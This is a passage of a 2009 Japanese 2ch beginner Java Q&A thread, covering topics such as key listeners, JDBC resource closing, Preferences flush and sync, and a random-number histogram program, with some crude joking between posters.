class Test{
public static void main(String[] args){
System.out.print("1");
System.out.print("\b");
}
}
実行結果
1

もう意味わかりません、俺が発狂してるのか、パソコン壊れたかどっちかだ

756 :デフォルトの名無しさん:2009/05/04(月) 23:41:46
>>755
Unixなら消えそうだな。
DOS窓だったらそんな制御文字に対応して無さそう。

ほんとのことはシラン。
無責任なコメント。

757 :755:2009/05/04(月) 23:55:39
自己解決した
バックスペースはちゃんとされていた・・・
ただ消されてなかった・・・
上書きしないとダメなのね

758 :755:2009/05/04(月) 23:56:58
つうか俺こんなくだらないことに2時間もついやしたのかよw
死にてー

759 :デフォルトの名無しさん:2009/05/05(火) 00:49:52
どんマイケル

760 :デフォルトの名無しさん:2009/05/05(火) 08:08:05
ところで、

Javaって、独占禁止法の不当廉売に当たらないんですか?

761 :デフォルトの名無しさん:2009/05/05(火) 10:19:15
あたらない。ただの共通規格だし。
本家Sunのが有名だけど、いわば参考実装みたいなもの。
共通規格に準拠していれば誰でも実装系を開発して良い。
規格違反くり返して準拠を名乗れなくなった会社もあるが。
同じ価格帯で売らないと不当廉売なんて、それどんなカルテルw

762 :デフォルトの名無しさん:2009/05/05(火) 12:00:32
お勧めの参考書とかある?
数が多すぎてどれ選べばいいかワカンネ

763 :デフォルトの名無しさん:2009/05/05(火) 12:25:15
プログラム書いたこと無い→「やさしいJava」
他言語経験者だけどJava初心者→APIリファレンス+ネットのjava解説サイトで十分
ある程度書ける。知識を整理したい。→オライリーの「詳細Javaプログラミング Vol1」

薦めようと思って浅煎り珈琲のサイト確認したらなくなってた。
かなりお世話になったのに残念すぎる。

764 :デフォルトの名無しさん:2009/05/05(火) 13:36:17
忘れちゃならない JAVA_HOME にある demo フォルダ。

あと言語規定の和訳。これもある程度書ける人向け。
http://www.y-adagio.com/public/standards/tr_javalang2/jTOC.doc.html
ここが役立つようなレベルだと、JAVA_HOME にある src.zip なんかも宝の山。

765 :デフォルトの名無しさん:2009/05/05(火) 13:44:27
カーネルモードで動いているドライバから JNI 経由で Java 機能って呼べる?
呼べるならそれってユーザモードにスイッチするの?

766 :デフォルトの名無しさん:2009/05/05(火) 13:45:46
class Test325 implements CharSequence {

public CharSequence subSequence(int start, int end) {
return "ABC"; //ココ1
}
ココ1で、、return 'a;'やreturn 7;とすると型が違いますと言われてエラーになりますけど、
CharSequence型は、"ABC"を受け入れるけど、7や'a' は受け入れないというのは、
どこを見れば、プログラマは分かるのでしょうか。

767 :デフォルトの名無しさん:2009/05/05(火) 13:47:34
おまいにはココ1というあだ名を付けてやろう。

768 :デフォルトの名無しさん:2009/05/05(火) 13:50:56
>>766
return 可能な型は CharSequence のサブクラスに限られている。
 → CharSequence の API リファレンスを見る
   → String や StringBuilder などが CharSequence のサブクラスである
     → String である "ABC" は return 可能
   → char (Character) や int (Integer) は CharSequence のサブクラスではない
     → char である 'a' や int である 7 は return 不可能

769 :デフォルトの名無しさん:2009/05/05(火) 13:58:53
>>768
>return 可能な型は CharSequence のサブクラスに限られている。
java言語が登場すると同時に、CharSequenceインターフェイスと、そのサブクラスも存在していて、
サブクラスまで含んで、がっしり固められているのでしょうか。
CharSequenceはインターフェイスだけを見ただけでは"ABC"はOKで'a'はNGということは、
わからないですよね。

770 :デフォルトの名無しさん:2009/05/05(火) 14:10:06
>>769
返そうとしている char や int が CharSequence のサブクラスではない事がコンパイラには分かっている。

771 :デフォルトの名無しさん:2009/05/05(火) 14:11:20
>>769
キャラクターシーケンス…
さてどういう意味だろうね

772 :デフォルトの名無しさん:2009/05/05(火) 14:14:48
×キャラクター
○チャー

773 :デフォルトの名無しさん:2009/05/05(火) 14:27:48
769です。
返答、いつもありがとうございます。

774 :デフォルトの名無しさん:2009/05/05(火) 14:29:20
>>772
確かにそうだが違うだろw

775 :デフォルトの名無しさん:2009/05/05(火) 14:35:08
先輩から頂いた『はじめてのJava完全入門』技術評論社2580円で
2002年の参考書があるのですが、いまでもこれで通用するのでしょうか、
それとも新しいのを買ったほうがいいのでしょうか。

776 :デフォルトの名無しさん:2009/05/05(火) 14:40:07
>>773
ココ1殿。何かあったらまたココへ来るがよい。

777 :デフォルトの名無しさん:2009/05/05(火) 14:50:35
>>775
その年の本だと JDK 1.3 くらいか。StringBuffer じゃなくて StringBuilder 使えとか、
assert や拡張 for なんかの機能が追加されているくらいでコーディング初心者レベルには
あまり変わらないんじゃないかな。

しかしゲネリックスやオートボクシングでハマるか。せめて J2SE 5.0 以降の本にしておき。

778 :デフォルトの名無しさん:2009/05/05(火) 15:12:33
ちょっと長めのとこだと5.0に移行してないだろうし
念のためプロジェクトで使用するJavaのバージョンは確認したほうがいいかもね。

779 :デフォルトの名無しさん:2009/05/05(火) 15:13:17
>Char
日本国内ではシャーと呼ぶことが
日本民間放送連盟あたりで決められています。

780 :デフォルトの名無しさん:2009/05/05(火) 15:44:47
>>779
そういや、赤い彗星の彼、綴りはCharなんだよね。
米国だとキャラかケイアだけど、英国ならチャーでも通じる。

781 :デフォルトの名無しさん:2009/05/05(火) 15:50:09
Charoはチャロ

782 :デフォルトの名無しさん:2009/05/05(火) 17:42:29
1回見たらクッキーに記録されて別ページ(2回目以降は見れませんなど)が表示される
ようにするスクリプトの書き方を知っている方いませんか?

783 :デフォルトの名無しさん:2009/05/05(火) 17:53:36
そんなもん軽く突破できる奴しかここにはいません。

784 :デフォルトの名無しさん:2009/05/05(火) 17:57:44
それとこれとは

785 :デフォルトの名無しさん:2009/05/05(火) 18:43:58
float x;って宣言するのと
float x = new float();って宣言するのはどっちが速い?
あと
float x;って宣言だけならスコープ抜けた段階で開放されてガベコレは動かない?


786 :デフォルトの名無しさん:2009/05/05(火) 18:50:39
>>785
下のほうが早い
しかも、両者は微妙に違う。同じではない。

787 :デフォルトの名無しさん:2009/05/05(火) 18:55:16
Float にデフォルトコンストラクタはないし、下が float x = new Float(0); なのか
Float x = new Float(0); なのかで動作も違う。まぁどちらにせよ速いのは上だが。

788 :デフォルトの名無しさん:2009/05/05(火) 19:41:51
あの・・・・
flushとsyncの両メソッドは一般的にどういう機能的な差があるんでしょうか。

789 :デフォルトの名無しさん:2009/05/05(火) 19:53:21
flush → Preferences に設定した内容を永続領域 (Windows だとレジストリ) に書き込む (書き込みのみ)
sync → flush した後、自分以外が変更した設定を永続領域から Preferences に読み込む (書き込み & 再読み込み)

同時に走っている別のアプリケーションが変更した設定内容を可能性があるなら sync、
そうでなければ flush と認識しているが、sync の方はあまり使う機会がないのでよく分からん。
確かに両者の API リファレンスはイミフすぐる。

790 :デフォルトの名無しさん:2009/05/05(火) 19:59:46
○同時に走っている別のアプリケーションが設定内容を変更している可能性があるなら

791 :デフォルトの名無しさん:2009/05/05(火) 20:06:21
ああなるほど。
flushで書き込んで、その次の行でnodeなど読み取りが必要なときはsyncということみたいです。
java.io.FileDescpritorとかにもsyncと同じのがあるのですがAPIの説明ではよく分かりませんでした。

792 :デフォルトの名無しさん:2009/05/05(火) 20:14:53
一般的な話なら
flush → メモリ上に溜めておいたデータ (バッファリングしていたデータ) を本来の場所に書き込む
sync → メモリ上の内容を本来の場所にあるデータと同じにする (同期化)

トイレでウンコした後にレバーを下げ流されて行くのを flush と言う。プログラミングの
flush もまさにあれと同じイメージ。

793 :デフォルトの名無しさん:2009/05/05(火) 20:29:28
するとsyncとはみんなで一斉に水を流すことなのか?

794 :デフォルトの名無しさん:2009/05/05(火) 20:31:51
違う。下水と同期され他人のウンコがわき出てくる事だ。

795 :デフォルトの名無しさん:2009/05/05(火) 20:31:54
>>792
syncですけど一般的にはそうですよね。
それでPreferencesではなんでflushしてから同期するのかが謎なんですけど。

796 :デフォルトの名無しさん:2009/05/05(火) 20:42:03
いやデータの同期っていうのは単なる再読み込みじゃない。こっちの変更もちゃんと向こうに
反映させなきゃけいない。

797 :デフォルトの名無しさん:2009/05/05(火) 20:47:41
それもそうなんですけど、それならflush(); sync();と2段構えにすればいいわけなんですよね。
syncの状況を見てflushするかどうか決めたいときもあるし、状況を見てウンコはそのまま溜めといてやっぱ水流すの止めたというのもありと思うんですけどね。

798 :デフォルトの名無しさん:2009/05/05(火) 20:57:44
そういう仕様だからとしか言いようがない。
同じ項目を別のアプリケーションも変更していた時 (競合状態) の対応が面倒だし、
Preferences 程度のものはあまり凝った設計するより単純明快の方が良い。
アプリケーション間でデータ連係が必要ならデータベース使ってちゃんと設計しろという話。

799 :デフォルトの名無しさん:2009/05/05(火) 20:58:55
class Point { int x; int y; }
class Line { Point p0; Point p1; }
public class Test388 {
public static void main(String[] args) {
Line line = new Line();
Point point = new Point();
line.p0 = new Point(); line.p0.x = 10; line.p0.y = 15; <−−−ココ1
line.p1 = new Point(); line.p1.x = 30; line.p1.y = 35; } }
このようになっているときに、line.p0 = new Point(); line.p0.x = 10;を考えると、
Lineクラスのlineオブジェクトが作られて、
lineオブジェクトが持つPointクラス型変数p0に
pointオブジェクトが格納されているアドレスが入っているので、
そのアドレスを辿って、pointオブジェクトを参照して、
そうしてpointオブジェクトの変数xに10を代入しているのであって、
lineオブジェクトを介してpointオブジェクトの変数を更新していると
考えて良いのでしょうか。

800 :デフォルトの名無しさん:2009/05/05(火) 21:01:00
>>798
オラクルか!

801 :デフォルトの名無しさん:2009/05/05(火) 21:05:33
>>799
そうだよ。Java だとアドレスじゃなくて参照と言うけど。

802 :デフォルトの名無しさん:2009/05/05(火) 21:15:57
>>800
データベースなんて何でもええがなw JDK 1.6 から Derby 付いてるでしょ。
少なくとも Preferences を単なるアプリケーション設定じゃなく、ユーザデータの保存とかに
使ってるなら道具を間違えてる。

あと >>798 の話は先に sync して状況判断して項目変更 & flush すれば済む話だしな。

803 :デフォルトの名無しさん:2009/05/05(火) 21:42:06
確かにそうですね。

804 :デフォルトの名無しさん:2009/05/06(水) 01:57:35
>>801
ありがとうございました。

805 :デフォルトの名無しさん:2009/05/06(水) 01:58:59
>>804
また来いよココ1

806 :デフォルトの名無しさん:2009/05/06(水) 04:51:35
ココイチ行ったことないけどうまいのかな

807 :デフォルトの名無しさん:2009/05/06(水) 05:11:49
コクが無いカレーでよいのなら・・・>ココイチ

808 :デフォルトの名無しさん:2009/05/06(水) 07:13:51
MacOS X 10.5 JDK1.6です。
OpenGLを使うべくJOGLをインストールしようとしているのですが、どうも上手くいかず、
OpenGLを含んだjavaファイルのコンパイル時にimportできないとエラーが出ます。

以下のようにユーザ名のフォルダにファイル(とフォルダ)を置き、.profileを編集しました。

~/jogl/builder/jogl.jar
~/jogl/builder/libjogl_awt.jnilib
~/jogl/builder/libjogl_cg.jnilib
~/jogl/builder/libjogl.jnilib
~/jogl/builder/obj
~/gluegen/builder/gluegen-rt.jar
~/gluegen/builder/libgluegen-rt.jnilib
~/gluegen/builder/obj

CLASSPATH=/Users/ユーザ名/jogl/build/jogl.jar:/Users/ユーザ名/gluegen/build/gluegen-rt.jar
DYLD_LYBRARY_PATH=/Users/ユーザ名/jogl/build/obj:/Users/ユーザ名/gluegen/build/obj

参考:
https://jogl.dev.java.net/source/browse/*checkout*/jogl/trunk/doc/HowToBuild.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20060710/242865/?ST=develop

分かる方、どうかよろしくお願いします。

809 :デフォルトの名無しさん:2009/05/06(水) 07:14:46
ごめんなさい、パス部分、builderと書いてあるのはbuildの間違いです。

よろしくお願いします。

810 :デフォルトの名無しさん:2009/05/06(水) 14:13:36
フットプリントってオーバーヘッドと同じ意味で使ったりする?

811 :デフォルトの名無しさん:2009/05/06(水) 16:05:59
別物
http://www.beachaudio.com/Omnimount/Pmd-2-p-28890.html
http://en.wikipedia.org/wiki/Overhead_projector

812 :デフォルトの名無しさん:2009/05/06(水) 18:04:55
>>810
フットプリント、全体としての使用量
オーバーヘッド、本来の目的に付随して必要になる量

と認識している。


813 :デフォルトの名無しさん:2009/05/07(木) 01:43:33
フットプリント:"空間的"使用量(メモリとか)
オーバーヘッド:本来の目的に付随して必要になる処理"時間"や処理量(ステップ数)
のほうがしっくりしそう。

814 :デフォルトの名無しさん:2009/05/07(木) 19:29:53
>>760-761
ソフトの開発にかかった人件費を、ソフトの価格で回収せず、
自社製ハードの価格で回収する事は、明らかなダンピング。

815 :デフォルトの名無しさん:2009/05/07(木) 20:38:12
>>814
それは抱き合わせの場合だろ、一円入札事件。

816 :デフォルトの名無しさん:2009/05/07(木) 22:55:46
>>815
抱き合わせであろうと無かろうと同じ。

817 :デフォルトの名無しさん:2009/05/07(木) 23:01:49
戯言乙w

818 :デフォルトの名無しさん:2009/05/07(木) 23:12:41
アプレットで簡単なゲームを作ってみたいのですが
おススメの参考書ありますか?

819 :デフォルトの名無しさん:2009/05/08(金) 00:22:19
JavaSound分かる人いる?
Sequencer演奏中のNOTE_ON,NOTE_OFFのイベントを拾いたいんだけど、

int[] controllers = {ShortMessage.NOTE_ON, ShortMessage.NOTE_OFF};
sequencer.addControllerEventListener(new ControllerEventListener() {
 public void controlChange(ShortMessage event) {
  System.out.println("event:" + event);
 }
}, controllers);

・・・てな感じでいいんじゃないの?全然とれないんだけど。

820 :デフォルトの名無しさん:2009/05/08(金) 21:55:35
she.getOmanko ().insertChinko (I.getChinko ());

動きません。どうしたらいいですか?

821 :デフォルトの名無しさん:2009/05/08(金) 22:31:28
>>820
ChinkoとOmankoに互換性がないからじゃない?
なんのOmankoにChinko入れようとしてるの?

822 :デフォルトの名無しさん:2009/05/08(金) 22:47:50
ふつうに
気持ちいいから
って答えればいいのだろうか?

823 :デフォルトの名無しさん:2009/05/08(金) 23:12:42
sheがNullとか

824 :デフォルトの名無しさん:2009/05/08(金) 23:17:40
それだとガッされるな



825 :デフォルトの名無しさん:2009/05/08(金) 23:31:57
She に電源が入ってねぇから動かねぇだけだろ。

826 :デフォルトの名無しさん:2009/05/08(金) 23:56:03
I.getChinko().erect()でどうだ

827 :デフォルトの名無しさん:2009/05/09(土) 00:02:00
>>820
get する前に inflate 呼ばないとダメだよ。

>inflate
>public void deflate(Object o)
> throws NoSupportedException
>
>指定された嫁を対象オブジェクトで満たします。オブジェクトがさらに必要かどうかを判断するために needsInput() を呼び出してください。

javaの意味合い的には deflate が正しいのか?微妙。

828 :デフォルトの名無しさん:2009/05/09(土) 00:08:20
http://www.youtube.com/watch?v=1m8L08mQt7c&NR=1

I'm an electronic thing.
You can swing your hot body by me every day.

829 :デフォルトの名無しさん:2009/05/09(土) 00:11:31
http://www.youtube.com/watch?v=2eFLM42FIMA

On today, you might use some electronic technologies' what.

830 :デフォルトの名無しさん:2009/05/09(土) 00:15:25
すげー
歯茎のところがチンコさんみたいだったw

831 :デフォルトの名無しさん:2009/05/09(土) 16:37:20
こんにちは。
javaで書かれたプログラムは炊飯ジャーなどでも動くと聞きますけど、
javaVMも炊飯ジャーの中に入っているのでしょうか。
PCでjavaプログラムを作成して、java開発環境のない環境で動かすには
どうすればいいのでしょうか。お教え下さい。

832 :デフォルトの名無しさん:2009/05/09(土) 16:42:45
家電の類で動かすときはVMじゃなくJavaチップを使うんじゃなかろうか。


833 :デフォルトの名無しさん:2009/05/09(土) 17:18:05
ジャバチップなんてあるのか?
ジャバカードならよく聞くけど。

834 :デフォルトの名無しさん:2009/05/09(土) 17:21:10
arm jazelle

835 :デフォルトの名無しさん:2009/05/09(土) 17:21:33
コピペだぞ

836 :デフォルトの名無しさん:2009/05/09(土) 17:22:28
春からJAVAの勉強を始めて早40日が経ちました。
基本の基本をどうにか理解しまして、サンプルを実行してコンソールに
結果が表示されるとかです。
でも実行しても毎回が新規からでデータを継続して使ったりできないので、
あまり実感がないので、データベースを使えるようになりたいですね。
データベースを使うとデータが残っているので、そのデータを使って、
処理が再開できるので面白くなるような気がします。
エクリプスを使っているのですが、エクリプスしか知りません。コマンドから
コンパイルしたこととか一度もないです。
そういうことで、引き続きエクリプスを使いたいのですけど、
データベースは何がいいのでしょうか。MYSQLというのがいいのでしょうか。
それから、サーブレット、JSPとか、WEBアプリケーションとかいう言葉を、
ネットで見かけますけど、どういう順番でやっていくのがいいのでしょうか。
この私が勉強を続けて一歩づつ登っていくには、どういう順序で、
やっていくのがいいのでしょうか。

837 :デフォルトの名無しさん:2009/05/09(土) 17:24:54
これは縦読み?

838 :デフォルトの名無しさん:2009/05/09(土) 17:32:00
>>831
jarはあくまで、バイトコード群(.classファイルたち)をまとめて圧縮
してるだけだから、やっぱ、VMは実行PCにいれておく必要があると
思う。
BASICみたいに、インタプリタ言語でありながら、機械語へのコンパイル
もできるっていうものじゃなかったきがするJavaは。

839 :デフォルトの名無しさん:2009/05/09(土) 18:10:53
>>833
知らないものについて書くときは、
ぐぐってから書いたほうが恥をかかなくて済むと思うよ。

>>831
当初はJavaをネイティブに実行できるJavaチップが前提だったけど、
最近は組み込みでもJavaVMを使うことが増えてきた。

840 :デフォルトの名無しさん:2009/05/09(土) 18:12:20
CAPS LOCK がオンになっているかどうかってどうやって調べるんざんしょ?

841 :デフォルトの名無しさん:2009/05/09(土) 20:42:57
>>836
データベースは、データベース自体の知識がないと運用できないのでオススメ
できない。
まずは、テキストファイルの読み書きから始めるのが良いと思う。
"java テキストファイル"でぐぐった先のサイトでやり方を学んで、それを応用して
遊んでみてくれ。

テキストから取れるのは文字列なので、それをintとかの数字に直す方法とか、
色々と試練は待っているけども、自分でぐぐって調べていくこと自体が勉強になる。
どうしても分からなくなったら、また来るといい。

842 :デフォルトの名無しさん:2009/05/09(土) 23:17:35
キーが押されたあとrunの中にあるKeyAdapter()からの呼び先で
さらにキーが押されたイベントを使いたいのですが
KeyAdapter()の下では多重にキーイベントは呼ばれないようです。
C#では呼ぶことはできたのですが、どうやれば多重に呼ぶことができますか?


843 :デフォルトの名無しさん:2009/05/10(日) 00:12:29
少なくともリスナだったらリピート効いてるし、リスナ使えばいい。
でもアダプタで効かないというのも妙な話だから、コードでミスってて、どっかが
横取りしているんだと思う。

import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;

public class KeyTest extends JFrame implements KeyListener {
public void keyPressed(KeyEvent e) {
System.out.println("keyPressed : " + e.toString());
}
public void keyReleased(KeyEvent e) {
System.out.println("keyReleased");
}
public void keyTyped(KeyEvent e) {
System.out.println("keyTyped : " + e.toString());
}
public static void main(String[] args) {
KeyTest frm = new KeyTest();
frm.addKeyListener(frm);
frm.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
frm.setVisible(true);
}
}

844 :デフォルトの名無しさん:2009/05/10(日) 00:29:37
ありがとうございます。
横取りおこってるんですかねえ。
サンプルを元にいろいろやってみます。

845 :デフォルトの名無しさん:2009/05/10(日) 00:34:40
同じコンポで同じリスナーって何個も使えるだっけ?

846 :デフォルトの名無しさん:2009/05/10(日) 00:43:11
いくつでも使えるだろ。

847 :デフォルトの名無しさん:2009/05/10(日) 00:53:29
http://www.atmarkit.co.jp/fjava/javatips/112java018.html
にあるように、全部の部品にリスナを登録すべき。

848 :デフォルトの名無しさん:2009/05/10(日) 00:54:22
>>846
そうなの!?


やり方全く思いつかないorz

849 :デフォルトの名無しさん:2009/05/10(日) 01:00:52
ふつうにaddすりゃいいだけだが

850 :デフォルトの名無しさん:2009/05/10(日) 01:09:01
addKeyListener(new KeyAdapter()
{
addKeyListener(new KeyAdapter()
             {
addKeyListener(new KeyAdapter()
{

}
);
{

}
);
}
);

851 :デフォルトの名無しさん:2009/05/10(日) 01:15:55
間違って誤爆したw
>>845
の意味は、こういうことできんのかよっていう

addKeyListener(new KeyAdapter()
  {
    略   
    addKeyListener(new KeyAdapter()
      {
         略
addKeyListener(new KeyAdapter()
      {

}
);
}
);
}
);

どうでもいいけどタブがないと俺は何もできないということが証明された

852 :デフォルトの名無しさん:2009/05/10(日) 01:18:38
addKeyListener(new KeyAdapter()
  {
    略   
    addKeyListener(new KeyAdapter()
      {
         略
addKeyListener(new KeyAdapter()
      {

}
);
}
);
}
);

853 :デフォルトの名無しさん:2009/05/10(日) 01:19:37
タブと何かのボタン押すと書きこまれるorz
プログラム書くの難しいよ

854 :デフォルトの名無しさん:2009/05/10(日) 01:26:41
リスナを実装したインスタンスを全部のGUI部品にaddKeyListenerすればいいだけという話。

855 :デフォルトの名無しさん:2009/05/10(日) 01:33:59
こんな感じ。

import java.awt.Button;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;

public class KeyTest extends JFrame implements KeyListener {
public void keyPressed(KeyEvent e) {
System.out.println("keyPressed : " + e.toString());
}
public void keyReleased(KeyEvent e) {
System.out.println("keyReleased");
}
public void keyTyped(KeyEvent e) {
System.out.println("keyTyped : " + e.toString());
}
public static void main(String[] args) {
KeyTest frm = new KeyTest();
frm.addKeyListener(frm);
frm.setBounds(10, 10, 300, 150);
Button btn = new Button();
btn.addKeyListener(frm);
frm.add(btn);
frm.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
frm.setVisible(true);
}
}


btn.addKeyListener(frm);
をコメントアウトしてみるとキーイベントが取れなくなる。

856 :デフォルトの名無しさん:2009/05/10(日) 02:17:56
荒らすなチンコ

857 :デフォルトの名無しさん:2009/05/10(日) 02:24:18
誰がチンコじゃハゲ

858 :デフォルトの名無しさん:2009/05/10(日) 03:08:33
ハゲにハゲハゲ言うハゲがハゲじゃハゲ

859 :デフォルトの名無しさん:2009/05/10(日) 11:24:20
仲いいなお前ら

860 :デフォルトの名無しさん:2009/05/10(日) 14:52:08
今、内部クラスの部分を勉強してるんだが
いまいち便利さが分からない・・・

実際内部クラスってよく使われるの?

861 :デフォルトの名無しさん:2009/05/10(日) 15:02:16
>>860
なんか、Javaアプレットとかのソースで使われてるのはみたことある。
アプレットとしては、一つのクラスにおさめて、その中で役割や構造の明確化
の為にインナークラスとして機能ごとにまとめてるとか?
Java使いさん、だれかおせーて。


862 :デフォルトの名無しさん:2009/05/10(日) 15:09:45
俺は低脳だからデータクラスのComparatorくらいにしか使ってない

863 :デフォルトの名無しさん:2009/05/10(日) 15:24:58
>>860
うん。でも「内部クラス」でひとくくりにしない方が良いと思う。
内部クラスといってもpublic・private・staticの有無・名前付き
だったり無名だったりと、宣言の違いによって使う使用シーンが
異なるから。

864 :デフォルトの名無しさん:2009/05/10(日) 15:32:28
俺はチンコだkら・・・

865 :デフォルトの名無しさん:2009/05/10(日) 16:15:16
コンポーネント関連をawtでなくswingで統一したいと考えています。
javax.swing.レイアウト関連にはSwing
BorderLayoutなどのawtのものを使った方がいいのでしょうか?

866 :デフォルトの名無しさん:2009/05/10(日) 16:17:18
すいません、途中送信してしまいました。正しくは

javax.swing.*;にはレイアウトのクラスがないようですが
java.awt.BorderLayoutなどのawtのものを使った方がいいのでしょうか?

です。

867 :デフォルトの名無しさん:2009/05/10(日) 16:19:05
Swingを使っている以上は、AWTも間接的に使っているので、AWTで
定義されているクラス(イベント類とかフォントとかレイアウトと)を
使ってはいけないわけではない。

ただし、コンポーネント(GUIパーツ)はSwingの Jxxxで揃えること。
混ぜて使うには若干テクニックが要る。


868 :デフォルトの名無しさん:2009/05/10(日) 20:34:14
勉強の一環で、DB接続してデータを引っ張って表示するものを作ってます。
ConnectionとResultSetとStatementについて質問なのですが、
finallyでcloseする際に上記3つのインスタンスをcloseしますが、

Connection conn = null;
Statement statement = null;
ResultSet resultSet = null;
try { // do something
} catch (SQLException sqlEx) { // do something
} finally {
  if (statement != null) {
    try {
      statement.close();
    } catch (SQLException sqlEx) {
      sqlEx.printStackTrace();
    }
  }
  if (resultSet != null) {
    try {
      resultSet.close();
    } catch (SQLException sqlEx) {
      sqlEx.printStackTrace();
    }
  }
  if (conn != null) {
    try {
      conn.close();
    } catch (SQLException sqlEx) {
      sqlEx.printStackTrace();
    }
  }
}

869 :デフォルトの名無しさん:2009/05/10(日) 20:42:28
>>868のように書く場合と、

try { // do something
} catch (SQLException sqlEx) { // do something
} finally {
  try {
    if (statement != null) statement.close();
    if (resultSet != null) resultSet.close();
    if (conn != null) conn.close();
  } catch (SQLException sqlEx) {
    sqlEx.printStackTrace();
  }
}

このように書く場合とは、どちらが正しいのでしょうか。
そもそもConnectionとResultSetとStatementのclose()で例外が起きるケースというのはあるのでしょうか。

また、>>868の場合でstatementやresultSetのclose()に失敗した場合、
いきなりconnをclose()することになると思うのですが、
statementやresultSetを放置したままでconnのclose()を行っても問題無いのでしょうか?

また、StatementはConnectionから作られ、ResultSetはStatementから作られるため、
最上位のConnectionのみのclose()を行えば全てがclose()されて問題無かったりしますか?

870 :デフォルトの名無しさん:2009/05/10(日) 21:41:12
ドコモのアプリ用に何とかして
Skypeを使う事ってできますか?

Skypeを直接無理でも
fringの様なかんじで
関節的にSkypeをドコモの携帯(Java)で
使う事はできるのでしょうか?


871 :デフォルトの名無しさん:2009/05/10(日) 22:12:54
>>868
Connectionとかの実装によるから、なんとも言えないんじゃないかな。
俺だとトランザクションをロールバックさせてConnectionだけクローズしちゃう。
Statementとかは自動解放してくれると「期待」してnullセット。
ロールバックでエラー?そんなの無視無視w

872 :デフォルトの名無しさん:2009/05/10(日) 22:25:23
>>870
Javaだとそういうプロジェクトはあるけど、携帯はMEだからあきらめときなさい。
http://skype.sourceforge.jp/
https://developer.skype.com/Docs/ApiDoc

ネイティブライブラリもWindows/Mac/Linuxしか無いしね。
自作しようってスキルがあるなら、こんなとこで聞かないだろうし。

873 :デフォルトの名無しさん:2009/05/10(日) 22:33:19
>>869
古い DB2 実装は Connection だけクローズして ResultSet クローズさせずに居ると
キャッシュが残ってあっという間にヒープ食い尽くしてた。

874 :デフォルトの名無しさん:2009/05/10(日) 22:44:27
OverlayLayoutで例えばふたつのJPanel重ねたりしたとき、
どっちもMouseListener追加すると下にあるJPanelからイベントが取れないんですが
どうすればいいんでしょうか

上のJPanelにMouseListener追加しないと下からは取れるみたいなんですが。

875 :デフォルトの名無しさん:2009/05/11(月) 00:00:13
>>872
?????????
モバイル版たくさん出てますよ?
スマホは当たり前で
スマートホンじゃない
携帯のモバイル版も最近はあるようです

つまり
FOMAでもモバイルSkypeを走らすことは可能ではないでしょうか?

あとそれが無理ならmobile2pcを使う際に
こちら側の音声を
パソコンに飛ばすことはできますか?


876 :デフォルトの名無しさん:2009/05/11(月) 00:22:33
>>875
それならスレ違いだね。
Javaで開発だと思ったから、ライブラリはどこ?かと。
PC等のモバイル板にどうぞ。

877 :デフォルトの名無しさん:2009/05/11(月) 07:17:00
書き込み失礼します。
0から1の乱数をN個つくりM個の区間わけるという頻度分布を出すプログラムを作っています。メインにつめこんで作るとうまくいったのですが、メソッドに分けて作ると失敗してしまいました。プログラムを下に書きます。

878 :デフォルトの名無しさん:2009/05/11(月) 07:17:39
1 public class Ransuu {
2 public static void main(String[] args) {
3 Ransuu r = new Ransuu(100,10);
4 r.eval();
5 }
6 public Ransuu(int N,int M){ // count配列を作る
7 int x = 0;
8 int[] count = new int[M]; // 個数をカウントする配列
9
10 // カウント初期化
11 for(int j=0;j<M;j++)
12 count[j] = 0;
13
14 // N個分の区域分けを繰り返す
15 for(int i=0;i<N;i++){
16
17 // 乱数に分ける区間の数Mをかけて1以上の数にする
18 x=(int) (Math.random( ) * M);
19
20 // カウントする
21 count[x]+=1;
22 }
23
24 // count関数を表示する
25 for(int j=0;j<M;j++)
26 System.out.println(j+" "+count[j]);
27 }
28

879 :デフォルトの名無しさん:2009/05/11(月) 07:20:40
29 public void eval(){
30 // 平均・分散を求める
31 double a,wa = 0; // 和を求めるための変数
32 double heikin,bunsan = 0; // 平均と分散の変数
33
34 double M = 0;
35 String[] count = null;
36 // count関数を表示する
37 for(int j=0;j<M;j++){
38 System.out.println(j+" "+count[j]);
39 }
40
41 // 個数の和を計算する。
42 for(int j=0;j<M;j++){
43 wa+=count[j];
44 }
45 // 平均を求める。
46 heikin=wa/M;
47
48 // 分散を求める。
49 wa=0;
50 for(int j=0;j<M;j++){
51 a=(count[j]-heikin)*(count[j]-heikin);
52 wa+=a;
53 }
54 bunsan=wa/M;
55
56 // 平均・分散の表示
57 System.out.println("平均は"+heikin);
58 System.out.println("分散は"+bunsan);
59 }
60}

880 :デフォルトの名無しさん:2009/05/11(月) 07:27:43
行番号6から27が乱数を設けて頻度分布を作るメソッド
行番号29から59までが平均・分散をもとめるメソッドとなっています。
そもそもメインのrの使い方もおかしい気がします。

エラーの内容としては
43行目 互換性のない型
51行目 演算子-はjava.lang.String.doubleに適用できません
です。

もしお暇があればよろしくおねがいします。

881 :デフォルトの名無しさん:2009/05/11(月) 07:50:02
public class Ransu {
  priate int[] count;
  public Ransu(int n, int m){
    this.count = new int[m];
    for(int i=0; i<n; i++)
      count[(int)(Math.random() * m)] ++;
  }
  public void eval(){
    double sum = 0;
    for(int i=0; i<count.length; i++)
      sum += count[i];
    double average = sum / count.length;
    ...
  }
}

882 :デフォルトの名無しさん:2009/05/11(月) 08:16:55
朝はやくなのにありがとうございます。
今から少し訂正してみます。

883 :デフォルトの名無しさん:2009/05/11(月) 09:11:28
やってみてはいるのですが、知識の乏しい自分には少し難しいプログラムに見えます。
すみません。
>>880のエラーは行番号35のstring型をint型にすることで解決できました。
しかしまだプログラムは実行できず
もとのプログラムの修正点などを指摘していただけるとたすかるのですが・・・

884 :デフォルトの名無しさん:2009/05/11(月) 09:59:53
【実行結果】
run:
0 10
1 5
2 8
3 10
4 8
5 14
6 10
7 9
8 17
9 9
平均はNaN
分散はNaN
構築成功 (合計時間: 4 秒)


885 :デフォルトの名無しさん:2009/05/11(月) 12:16:15
&nbsp;A

 A

886 :デフォルトの名無しさん:2009/05/11(月) 12:16:55
{
    int   val1;
}

887 :デフォルトの名無しさん:2009/05/11(月) 12:18:33
今初めて知りましたが、2ch って「&nbsp;」を半角で書くと
スペースが表示されるんですね。
2chでは普通の0x20コードだとインデントは消えて困るんですが、
これが解決策ですかね。

888 :デフォルトの名無しさん:2009/05/11(月) 12:26:16
